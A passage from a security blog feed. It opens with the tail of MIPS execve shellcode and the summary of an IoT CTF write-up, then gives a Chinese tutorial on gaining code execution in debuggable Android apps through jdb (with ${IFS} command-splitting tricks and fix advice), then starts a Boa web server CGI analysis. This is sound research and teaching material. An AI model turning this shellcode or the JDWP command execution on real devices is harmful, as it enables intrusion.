</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x3C\x0F\x2F\x62</span><span class="s">"</span> <span class="c1"># lui $t7, 0x2f62
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x35\xEF\x69\x6E</span><span class="s">"</span> <span class="c1"># ori $t7, $t7, 0x696e
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xAF\xAF\xFF\xDC</span><span class="s">"</span> <span class="c1"># sw $t7, -0x24($sp)
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x3C\x0F\x2F\x62</span><span class="s">"</span> <span class="c1"># lui $t7, 0x2f62
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x35\xEF\x75\x73</span><span class="s">"</span> <span class="c1"># ori $t7, $t7, 0x7573
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xAF\xAF\xFF\xE0</span><span class="s">"</span> <span class="c1"># sw $t7, -0x20($sp)
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x3C\x0F\x79\x62</span><span class="s">"</span> <span class="c1"># lui $t7, 0x7962
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x35\xEF\x6F\x78</span><span class="s">"</span> <span class="c1"># ori $t7, $t7, 0x6f78
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xAF\xAF\xFF\xE4</span><span class="s">"</span> <span class="c1"># sw $t7, -0x1c($sp)
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xAF\xA0\xFF\xE8</span><span class="s">"</span> <span class="c1"># sw $zero, -0x18($sp)
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x3C\x0F\x73\x68</span><span class="s">"</span> <span class="c1"># lui $t7, 0x7368
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xAF\xAF\xFF\xEC</span><span class="s">"</span> <span class="c1"># sw $t7, -0x14($sp)
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xAF\xA0\xFF\xF0</span><span class="s">"</span> <span class="c1"># sw $zero, -0x10($sp)
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x27\xAF\xFF\xDC</span><span class="s">"</span> <span class="c1"># addiu $t7, $sp, -0x24
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xAF\xAF\xFF\xF4</span><span class="s">"</span> <span class="c1"># sw $t7, -0xc($sp)
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x27\xAF\xFF\xEC</span><span class="s">"</span> <span class="c1"># addiu $t7, $sp, -0x14
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xAF\xAF\xFF\xF8</span><span class="s">"</span> <span class="c1"># sw $t7, -8($sp)
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xAF\xA0\xFF\xFC</span><span class="s">"</span> <span class="c1"># sw $zero, -4($sp)
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x27\xA4\xFF\xDC</span><span class="s">"</span> <span class="c1"># addiu $a0, $sp, -0x24
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x27\xA5\xFF\xF8</span><span class="s">"</span> <span class="c1"># addiu $a1, $sp, -8
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x24\x02\x0F\xAB</span><span class="s">"</span> <span class="c1"># addiu $v0, $zero, 0xfab
</span> <span class="n">bof_payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x01\x01\x01\x0C</span><span class="s">"</span> <span class="c1"># syscall 0x40404
</span></code></pre></div></div>
<h1>Summary</h1>
<ol>
<li>According to the way of building the challenge, there are three ways to find the target binary: 1. It is found that the program has been patched during the reverse process; 2. Repacking the firmware will leave traces of access time; 3. Use the firmware emulation method to discover the network services that are started by default. It should be counted as one of the basic qualities of IoT offensive and defensive personnel.</li>
<li>The reverse engineering and vulnerability in the challenge are not difficult, but it is necessary for the contestants to dynamically send packets and interact with the network program in the early stage to determine the target binary, which may be the same as fingerprint scanning.</li>
<li>It seems impossible to obtain an interactive shell based on a single vulnerability in a simple program, but in the end we cannot just refer to the output given to us by the auxiliary program in the process of exploiting the vulnerability, we must investigate its essence and let everything in the program be used by us . In addition, this exploit can also directly return to the gadget near <code class="language-plaintext highlighter-rouge">sendto</code> to complete information leak, but it requires multiple interactions, which is the same as the shellcode that directly lists the directory, I personally think that some noise may be added.</li>
<li>I am very grateful to Chaitin Technology for giving me the opportunity to explore security offensive and defensive technologies in this Real World CTF 5th. I also thank all the hackers and ctfers for their hard work in this competition. I hope this article can inspire you and me. Hack all the way.</li>
</ol>
<p>Chinese version: <a href="https://mp.weixin.qq.com/s/Wb7SMy8AHtiv71kroHEHsQ">https://mp.weixin.qq.com/s/Wb7SMy8AHtiv71kroHEHsQ</a></p>
Larryxi
Background IoT security has attracted the attention of the security industry and security competitions in recent years. When the vulnerabilities we discover are fixed or hit by the official ahead of time, it may make us feel uncomfortable. Therefore, we must start from the unique attack surface to find vulnerabilities and attack paths. This challenge is to use a certain IoT device that the public is more concerned about to map out a certain non-Web network service as the overall background. Because mapping port is a relatively common vulnerability scenario for debugging vulnerabilities or remote configuration services, it is easy to be exploited by malicious attackers, resulting in the formation of botnets. Related references are as follows:
Learn Android Application Debuggable
2021-01-16T00:00:00+00:00
2021-01-16T00:00:00+00:00
https://larryxi.github.io/2021/01/16/learn-android-application-debuggable
<h1>0x00 漏洞原理</h1>
<p>如果对于已经发布的Android应用,在AndroidManifest.xml中设置了<code class="language-plaintext highlighter-rouge">android:debuggable</code>为<code class="language-plaintext highlighter-rouge">true</code>,<a href="https://developer.android.com/guide/topics/manifest/application-element#debug">意味着</a>应用程序可以被调试,因此会引入安全风险。后文通过搭建环境调试应用程序,实现漏洞的简单利用。</p>
<!-- more -->
<p><a href="https://labs.f-secure.com/archive/debuggable-apps-in-android-market/">F-secure</a>深入分析过此问题。如果应用程序开启了debuggable,则会尝试连接<code class="language-plaintext highlighter-rouge">@jdwp-control</code>这个unix socket并发送自身的pid实现注册,此socket由<code class="language-plaintext highlighter-rouge">adbd</code>打开并使用<a href="https://docs.oracle.com/javase/8/docs/technotes/guides/jpda/jdwp-spec.html">Java Debug Wire Protocol</a>搭建调试者与被调试者的桥梁;如果<code class="language-plaintext highlighter-rouge">adbd</code>未启动,则应用程序会不断尝试连接该socket,此时恶意应用就可以伪造socket,借助JWDP来调试应用程序的Java代码,在其上下文中使用<code class="language-plaintext highlighter-rouge">Runtime.getRuntime().exec()</code>即可执行任意代码。</p>
<h1>0x01 利用实践</h1>
<p>首先写个开启debuggable的应用程序,搞个输入框和按钮画一下activity_main.xml:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?xml version="1.0" encoding="utf-8"?></span>
<span class="nt"><androidx.constraintlayout.widget.ConstraintLayout</span> <span class="na">xmlns:android=</span><span class="s">"http://schemas.android.com/apk/res/android"</span>
<span class="na">xmlns:app=</span><span class="s">"http://schemas.android.com/apk/res-auto"</span>
<span class="na">xmlns:tools=</span><span class="s">"http://schemas.android.com/tools"</span>
<span class="na">android:layout_width=</span><span class="s">"match_parent"</span>
<span class="na">android:layout_height=</span><span class="s">"match_parent"</span>
<span class="na">tools:context=</span><span class="s">".MainActivity"</span><span class="nt">></span>
<span class="nt"><EditText</span>
<span class="na">android:id=</span><span class="s">"@+id/editText"</span>
<span class="na">android:layout_width=</span><span class="s">"0dp"</span>
<span class="na">android:layout_height=</span><span class="s">"wrap_content"</span>
<span class="na">android:layout_marginStart=</span><span class="s">"8dp"</span>
<span class="na">android:layout_marginLeft=</span><span class="s">"8dp"</span>
<span class="na">android:layout_marginTop=</span><span class="s">"8dp"</span>
<span class="na">android:layout_marginEnd=</span><span class="s">"8dp"</span>
<span class="na">android:layout_marginRight=</span><span class="s">"8dp"</span>
<span class="na">android:hint=</span><span class="s">"@string/input_password"</span>
<span class="na">android:inputType=</span><span class="s">"textPassword"</span>
<span class="na">app:layout_constraintEnd_toStartOf=</span><span class="s">"@+id/button"</span>
<span class="na">app:layout_constraintStart_toStartOf=</span><span class="s">"parent"</span>
<span class="na">app:layout_constraintTop_toTopOf=</span><span class="s">"parent"</span> <span class="nt">/></span>
<span class="nt"><Button</span>
<span class="na">android:id=</span><span class="s">"@+id/button"</span>
<span class="na">android:layout_width=</span><span class="s">"wrap_content"</span>
<span class="na">android:layout_height=</span><span class="s">"wrap_content"</span>
<span class="na">android:layout_marginEnd=</span><span class="s">"8dp"</span>
<span class="na">android:layout_marginRight=</span><span class="s">"8dp"</span>
<span class="na">android:onClick=</span><span class="s">"checkPassword"</span>
<span class="na">android:text=</span><span class="s">"@string/check"</span>
<span class="na">app:layout_constraintBaseline_toBaselineOf=</span><span class="s">"@+id/editText"</span>
<span class="na">app:layout_constraintEnd_toEndOf=</span><span class="s">"parent"</span> <span class="nt">/></span>
<span class="nt"><TextView</span>
<span class="na">android:layout_width=</span><span class="s">"wrap_content"</span>
<span class="na">android:layout_height=</span><span class="s">"wrap_content"</span>
<span class="na">android:text=</span><span class="s">"Hello World!"</span>
<span class="na">app:layout_constraintBottom_toBottomOf=</span><span class="s">"parent"</span>
<span class="na">app:layout_constraintLeft_toLeftOf=</span><span class="s">"parent"</span>
<span class="na">app:layout_constraintRight_toRightOf=</span><span class="s">"parent"</span>
<span class="na">app:layout_constraintTop_toTopOf=</span><span class="s">"parent"</span> <span class="nt">/></span>
<span class="nt"></androidx.constraintlayout.widget.ConstraintLayout></span>
</code></pre></div></div>
<p>判断password是否正确的代码,MainActivity.java:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">package</span> <span class="nn">com.example.helloworld</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">androidx.appcompat.app.AppCompatActivity</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">android.os.Bundle</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">android.view.View</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">android.widget.EditText</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">android.widget.Toast</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">MainActivity</span> <span class="kd">extends</span> <span class="nc">AppCompatActivity</span> <span class="o">{</span>
<span class="kd">private</span> <span class="kd">final</span> <span class="nc">String</span> <span class="no">PASSWORD</span> <span class="o">=</span> <span class="s">"123456"</span><span class="o">;</span>
<span class="nd">@Override</span>
<span class="kd">protected</span> <span class="kt">void</span> <span class="nf">onCreate</span><span class="o">(</span><span class="nc">Bundle</span> <span class="n">savedInstanceState</span><span class="o">)</span> <span class="o">{</span>
<span class="kd">super</span><span class="o">.</span><span class="na">onCreate</span><span class="o">(</span><span class="n">savedInstanceState</span><span class="o">);</span>
<span class="n">setContentView</span><span class="o">(</span><span class="no">R</span><span class="o">.</span><span class="na">layout</span><span class="o">.</span><span class="na">activity_main</span><span class="o">);</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">checkPassword</span><span class="o">(</span><span class="nc">View</span> <span class="n">view</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">EditText</span> <span class="n">editText</span> <span class="o">=</span> <span class="o">(</span><span class="nc">EditText</span><span class="o">)</span> <span class="n">findViewById</span><span class="o">(</span><span class="no">R</span><span class="o">.</span><span class="na">id</span><span class="o">.</span><span class="na">editText</span><span class="o">);</span>
<span class="nc">String</span> <span class="n">input</span> <span class="o">=</span> <span class="n">editText</span><span class="o">.</span><span class="na">getText</span><span class="o">().</span><span class="na">toString</span><span class="o">();</span>
<span class="nc">Toast</span> <span class="n">toast</span><span class="o">;</span>
<span class="k">if</span> <span class="o">(</span><span class="n">input</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="no">PASSWORD</span><span class="o">))</span>
<span class="n">toast</span> <span class="o">=</span> <span class="nc">Toast</span><span class="o">.</span><span class="na">makeText</span><span class="o">(</span><span class="n">view</span><span class="o">.</span><span class="na">getContext</span><span class="o">(),</span> <span class="s">"Right!"</span><span class="o">,</span> <span class="nc">Toast</span><span class="o">.</span><span class="na">LENGTH_LONG</span><span class="o">);</span>
<span class="k">else</span>
<span class="n">toast</span> <span class="o">=</span> <span class="nc">Toast</span><span class="o">.</span><span class="na">makeText</span><span class="o">(</span><span class="n">view</span><span class="o">.</span><span class="na">getContext</span><span class="o">(),</span> <span class="s">"Wrong!"</span><span class="o">,</span> <span class="nc">Toast</span><span class="o">.</span><span class="na">LENGTH_LONG</span><span class="o">);</span>
<span class="n">toast</span><span class="o">.</span><span class="na">show</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>最后在AndroidManifest.xml设置debuggable:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?xml version="1.0" encoding="utf-8"?></span>
<span class="nt"><manifest</span> <span class="na">xmlns:android=</span><span class="s">"http://schemas.android.com/apk/res/android"</span>
<span class="na">xmlns:tools=</span><span class="s">"http://schemas.android.com/tools"</span>
<span class="na">package=</span><span class="s">"com.example.helloworld"</span><span class="nt">></span>
<span class="nt"><application</span>
<span class="na">android:debuggable=</span><span class="s">"true"</span>
<span class="na">android:allowBackup=</span><span class="s">"true"</span>
<span class="na">android:icon=</span><span class="s">"@mipmap/ic_launcher"</span>
<span class="na">android:label=</span><span class="s">"@string/app_name"</span>
<span class="na">android:roundIcon=</span><span class="s">"@mipmap/ic_launcher_round"</span>
<span class="na">android:supportsRtl=</span><span class="s">"true"</span>
<span class="na">android:theme=</span><span class="s">"@style/Theme.Helloworld"</span>
<span class="na">tools:ignore=</span><span class="s">"HardcodedDebugMode"</span><span class="nt">></span>
<span class="nt"><activity</span> <span class="na">android:name=</span><span class="s">".MainActivity"</span><span class="nt">></span>
<span class="nt"><intent-filter></span>
<span class="nt"><action</span> <span class="na">android:name=</span><span class="s">"android.intent.action.MAIN"</span> <span class="nt">/></span>
<span class="nt"><category</span> <span class="na">android:name=</span><span class="s">"android.intent.category.LAUNCHER"</span> <span class="nt">/></span>
<span class="nt"></intent-filter></span>
<span class="nt"></activity></span>
<span class="nt"></application></span>
<span class="nt"></manifest></span>
</code></pre></div></div>
<p>在启动应用前后使用<code class="language-plaintext highlighter-rouge">adb jdwp</code>来确认可调试的应用程序进程:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ platform-tools ./adb jdwp
^C
➜ platform-tools ./adb jdwp
20193
^C
</code></pre></div></div>
<p>再将调试接口转发到本地使用<code class="language-plaintext highlighter-rouge">jdb</code>调试即可,整体的例子也可参看<a href="https://securitygrind.com/how-to-exploit-a-debuggable-android-application/">这里</a>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ platform-tools ./adb forward tcp:7777 jdwp:20193
➜ platform-tools jdb -attach 127.0.0.1:7777
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
> stop in com.example.helloworld.MainActivity.checkPassword
Set breakpoint com.example.helloworld.MainActivity.checkPassword
>
Breakpoint hit: "thread=main", com.example.helloworld.MainActivity.checkPassword(), line=21 bci=0
main[1] print new java.lang.Runtime().exec("ps")
new java.lang.Runtime().exec("ps") = "Process[pid=20688]"
</code></pre></div></div>
<p>看似简单但有四点需要说明。一是jdb<a href="https://docs.oracle.com/javase/8/docs/technotes/tools/windows/jdb.html#CHDBACHA">命令和指令</a>的使用,像是<code class="language-plaintext highlighter-rouge">classes</code>、<code class="language-plaintext highlighter-rouge">methods <class id></code>和<code class="language-plaintext highlighter-rouge">fields <class id></code>可查看class相关的信息,<code class="language-plaintext highlighter-rouge">locals</code>可以查看当前栈帧的局部变量信息,<code class="language-plaintext highlighter-rouge">print</code>和<code class="language-plaintext highlighter-rouge">eval</code>可以执行java表达式:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>main[1] methods com.example.helloworld.MainActivity
** methods list **
com.example.helloworld.MainActivity <init>()
com.example.helloworld.MainActivity checkPassword(android.view.View)
com.example.helloworld.MainActivity onCreate(android.os.Bundle)
......
** fields list **
java.lang.String PASSWORD
androidx.appcompat.app.AppCompatDelegate mDelegate (inherited from androidx.appcompat.app.AppCompatActivity)
......
main[1] print PASSWORD
PASSWORD = "123456"
main[1] locals
Method arguments:
Local variables:
view = instance of com.google.android.material.button.MaterialButton(id=4366)
main[1] next
>
Step completed: "thread=main", com.example.helloworld.MainActivity.checkPassword(), line=22 bci=9
main[1] locals
Method arguments:
Local variables:
view = instance of com.google.android.material.button.MaterialButton(id=4366)
editText = instance of androidx.appcompat.widget.AppCompatEditText(id=4367)
main[1] next
>
Step completed: "thread=main", com.example.helloworld.MainActivity.checkPassword(), line=25 bci=17
main[1] locals
Method arguments:
Local variables:
view = instance of com.google.android.material.button.MaterialButton(id=4366)
editText = instance of androidx.appcompat.widget.AppCompatEditText(id=4367)
input = "123"
</code></pre></div></div>
<p>但当执行<code class="language-plaintext highlighter-rouge">print new java.lang.String("Hello").length()</code>总是会导致程序报错退出,而且我也不会实例化一个字符串数组:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>main[1] print new java.lang.String[]{"1", "2"}
com.sun.tools.example.debug.expr.ParseException: Encountered "]" at line 1, column 23.
Was expecting one of:
"false" ...
"new" ...
"null" ...
"super" ...
"this" ...
"true" ...
<INTEGER_LITERAL> ...
<FLOATING_POINT_LITERAL> ...
<CHARACTER_LITERAL> ...
<STRING_LITERAL> ...
<IDENTIFIER> ...
"(" ...
"!" ...
"~" ...
"++" ...
"--" ...
"+" ...
"-" ...
new java.lang.String[]{"1", "2"} = null
main[1] print new java.lang.String("Hello")
com.sun.tools.example.debug.expr.ParseException: Unable to create java.lang.String instance
new java.lang.String("Hello") = null
Exception in thread "asynchronous jdb command"
The application has been disconnected
</code></pre></div></div>
<p>二是此问题就相当于可以调试java进程进而利用,但测试下来需要命中断点才能有效执行表达式,msf上有专门针对JDWP的攻击脚本,是切换到sleeping的线程再执行,具体可参看<a href="https://xz.aliyun.com/t/7303">这里</a>。</p>
<p>三是执行java表达式的过程就相当于是<a href="https://b1ngz.github.io/java-os-command-injection-note/">java命令注入</a>的过程。因为不会构造字符串数组,所以直接使用<code class="language-plaintext highlighter-rouge">Runtime.getRuntime().exec(String command)</code>就需要考虑对token字符的<a href="https://mp.weixin.qq.com/s/zCe_O37rdRqgN-Yvlq1FDg">绕过</a>,因为是在安卓系统环境<code class="language-plaintext highlighter-rouge">base64</code>命令不存在,所以直接<code class="language-plaintext highlighter-rouge">${IFS}</code>编码即可绕过:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ platform-tools jdb -attach 127.0.0.1:7777
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
> stop in com.example.helloworld.MainActivity.checkPassword
Set breakpoint com.example.helloworld.MainActivity.checkPassword
>
Breakpoint hit: "thread=main", com.example.helloworld.MainActivity.checkPassword(), line=21 bci=0
main[1] print java.lang.Runtime.getRuntime().exec("sh -c echo${IFS}\\x41>/data/data/com.example.helloworld/text.txt")
java.lang.Runtime.getRuntime().exec("sh -c echo${IFS}\\x41>/data/data/com.example.helloworld/text.txt") = "Process[pid=23980]"
main[1] print java.lang.Runtime.getRuntime().exec("sh -c chmod${IFS}+x${IFS}/data/data/com.example.helloworld/text.txt")
java.lang.Runtime.getRuntime().exec("sh -c chmod${IFS}+x${IFS}/data/data/com.example.helloworld/text.txt") = "Process[pid=24005]"
main[1] exit
➜ platform-tools ./adb shell
shell@hammerhead:/ $ run-as com.example.helloworld
shell@hammerhead:/data/data/com.example.helloworld $ ls -al
drwxrwx--x u0_a89 u0_a89 2021-01-06 19:24 cache
drwxrwx--x u0_a89 u0_a89 2021-01-06 19:24 code_cache
-rwx------ u0_a89 u0_a89 2 2021-01-08 14:30 text.txt
shell@hammerhead:/data/data/com.example.helloworld $ cat text.txt
A
shell@hammerhead:/data/data/com.example.helloworld $
</code></pre></div></div>
<p>可惜上下文中不存在<code class="language-plaintext highlighter-rouge">ProcessBuilder(String... command)</code>,还是想要构造字符串数组的话还是可以<a href="https://docs.oracle.com/javase/8/docs/api/java/lang/String.html#split-java.lang.String-">分割</a>一下的:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ platform-tools jdb -attach 127.0.0.1:7777
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
> stop in com.example.helloworld.MainActivity.checkPassword
Set breakpoint com.example.helloworld.MainActivity.checkPassword
>
Breakpoint hit: "thread=main", com.example.helloworld.MainActivity.checkPassword(), line=21 bci=0
main[1] print java.lang.Runtime.getRuntime().exec("sh`-c`echo larryxi > /data/data/com.example.helloworld/1.txt".split("`"))
java.lang.Runtime.getRuntime().exec("sh`-c`echo larryxi > /data/data/com.example.helloworld/1.txt".split("`")) = "Process[pid=24784]"
main[1] exit
➜ platform-tools ./adb shell
shell@hammerhead:/ $ run-as com.example.helloworld
shell@hammerhead:/data/data/com.example.helloworld $ ls -al
-rw------- u0_a89 u0_a89 8 2021-01-08 14:42 1.txt
drwxrwx--x u0_a89 u0_a89 2021-01-06 19:24 cache
drwxrwx--x u0_a89 u0_a89 2021-01-06 19:24 code_cache
-rwx------ u0_a89 u0_a89 2 2021-01-08 14:30 text.txt
shell@hammerhead:/data/data/com.example.helloworld $ cat 1.txt
larryxi
shell@hammerhead:/data/data/com.example.helloworld $
</code></pre></div></div>
<p>四是上文中出现的<code class="language-plaintext highlighter-rouge">run-as</code><a href="https://manifestsecurity.com/android-application-security-part-21/">程序</a>,分析源码可知需要满足用户为shell或root,package开启debuggable且数据目录有效,才可以切换用户id和目录浏览其数据文件,也算是泄漏敏感信息的一种方式。较新版本的系统源码中还对目录增加了一些<a href="https://android.googlesource.com/platform/system/core.git/+/refs/heads/android10-c2f2-release/run-as/run-as.cpp#73">限制</a>,感兴趣的同学可自行探索。</p>
<h1>0x02 漏洞修复</h1>
<p>检测是否存在漏洞只需查看<code class="language-plaintext highlighter-rouge">/data/system/packages.list</code><a href="https://blog.csdn.net/weixin_40107510/article/details/78556427">文件</a>或者AndroidManifest.xml是否开启debuggable;修复则需要将debuggable置为false,并且不要发布可被debug的应用程序。</p>
Larryxi
0x00 漏洞原理 如果对于已经发布的Android应用,在AndroidManifest.xml中设置了android:debuggable为true,意味着应用程序可以被调试,因此会引入安全风险。后文通过搭建环境调试应用程序,实现漏洞的简单利用。
常见嵌入式Web服务器CGI处理功能简要分析
2020-02-03T00:00:00+00:00
2020-02-03T00:00:00+00:00
https://larryxi.github.io/2020/02/03/iot-web-server-cgi-handler-analysis
<h1>0x00 背景</h1>
<p>在一些中小型的IoT设备中,当需要使用Web界面管理设备时,开发者可能会选取合适的开源嵌入式Web服务器进行二次开发,实现单纯的Web服务器中间件,或者将转发请求功能和后端处理功能融合在一个二进制文件当中。二次开发的特定功能如身份认证等和后端的CGI功能,在缺乏安全开发的意识之下很容易出现问题,因此了解熟悉嵌入式设备中常用的Web服务器和其CGI处理功能的实现方式,有助于快速发现设备Web端的审计或测试点。</p>
<!-- more -->
<h1>0x01 boa</h1>
<p><a href="http://www.boa.org/documentation/boa-1.html">Boa</a>作为一个单任务型的HTTP服务器,它对HTTP连接在内部多路复用,只会对CGI请求进行<code class="language-plaintext highlighter-rouge">fork</code>进程。个人认为其主要的<a href="http://www.boa.org/documentation/boa-3.html">限制</a>是没有访问控制功能,需要二次开发身份认证等功能,会是IoT固件中常见的问题点。</p>
<h2>源码分析</h2>
<p><a href="http://www.boa.org/boa-0.94.14rc21.tar.gz">boa</a>程序在解析请求头的收尾函数<code class="language-plaintext highlighter-rouge">process_header_end</code>中,<code class="language-plaintext highlighter-rouge">translate_uri</code>函数会解析请求的虚拟路径,根据URI判断是否为CGI请求,进一步则调用<code class="language-plaintext highlighter-rouge">init_cgi</code>来<code class="language-plaintext highlighter-rouge">execve</code>执行相关CGI程序:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">process_header_end</span><span class="p">(</span><span class="n">request</span> <span class="o">*</span> <span class="n">req</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">req</span><span class="o">-></span><span class="n">logline</span><span class="p">)</span> <span class="p">{</span>
<span class="n">log_error_doc</span><span class="p">(</span><span class="n">req</span><span class="p">);</span>
<span class="n">fputs</span><span class="p">(</span><span class="s">"No logline in process_header_end</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">stderr</span><span class="p">);</span>
<span class="n">send_r_error</span><span class="p">(</span><span class="n">req</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/* Percent-decode request */</span>
<span class="k">if</span> <span class="p">(</span><span class="n">unescape_uri</span><span class="p">(</span><span class="n">req</span><span class="o">-></span><span class="n">request_uri</span><span class="p">,</span> <span class="o">&</span><span class="p">(</span><span class="n">req</span><span class="o">-></span><span class="n">query_string</span><span class="p">))</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">log_error_doc</span><span class="p">(</span><span class="n">req</span><span class="p">);</span>
<span class="n">fputs</span><span class="p">(</span><span class="s">"URI contains bogus characters</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">stderr</span><span class="p">);</span>
<span class="n">send_r_bad_request</span><span class="p">(</span><span class="n">req</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/* clean pathname */</span>
<span class="n">clean_pathname</span><span class="p">(</span><span class="n">req</span><span class="o">-></span><span class="n">request_uri</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">req</span><span class="o">-></span><span class="n">request_uri</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'/'</span><span class="p">)</span> <span class="p">{</span>
<span class="n">log_error</span><span class="p">(</span><span class="s">"URI does not begin with '/'</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">send_r_bad_request</span><span class="p">(</span><span class="n">req</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">vhost_root</span><span class="p">)</span> <span class="p">{</span>
<span class="p">...</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">translate_uri</span><span class="p">(</span><span class="n">req</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="cm">/* unescape, parse uri */</span>
<span class="cm">/* errors already logged */</span>
<span class="n">SQUASH_KA</span><span class="p">(</span><span class="n">req</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="cm">/* failure, close down */</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">req</span><span class="o">-></span><span class="n">method</span> <span class="o">==</span> <span class="n">M_POST</span><span class="p">)</span> <span class="p">{</span>
<span class="p">...</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">req</span><span class="o">-></span><span class="n">cgi_type</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">init_cgi</span><span class="p">(</span><span class="n">req</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">req</span><span class="o">-></span><span class="n">status</span> <span class="o">=</span> <span class="n">WRITE</span><span class="p">;</span>
<span class="k">return</span> <span class="n">init_get</span><span class="p">(</span><span class="n">req</span><span class="p">);</span> <span class="cm">/* get and head */</span>
<span class="p">}</span>
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">translate_uri</code>函数中的<code class="language-plaintext highlighter-rouge">init_script_alias</code>函数,负责解析<code class="language-plaintext highlighter-rouge">ScriptAlias</code>请求,设置请求cgi类型,查看文件是否存在以及具有相关权限:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">init_script_alias</span><span class="p">(</span><span class="n">request</span> <span class="o">*</span> <span class="n">req</span><span class="p">,</span> <span class="n">alias</span> <span class="o">*</span> <span class="n">current1</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">uri_len</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">static</span> <span class="kt">char</span> <span class="n">pathname</span><span class="p">[</span><span class="n">MAX_HEADER_LENGTH</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>
<span class="k">struct</span> <span class="n">stat</span> <span class="n">statbuf</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">c</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">err</span><span class="p">;</span>
<span class="cm">/* copies the "real" path + the non-alias portion of the
uri to pathname.
*/</span>
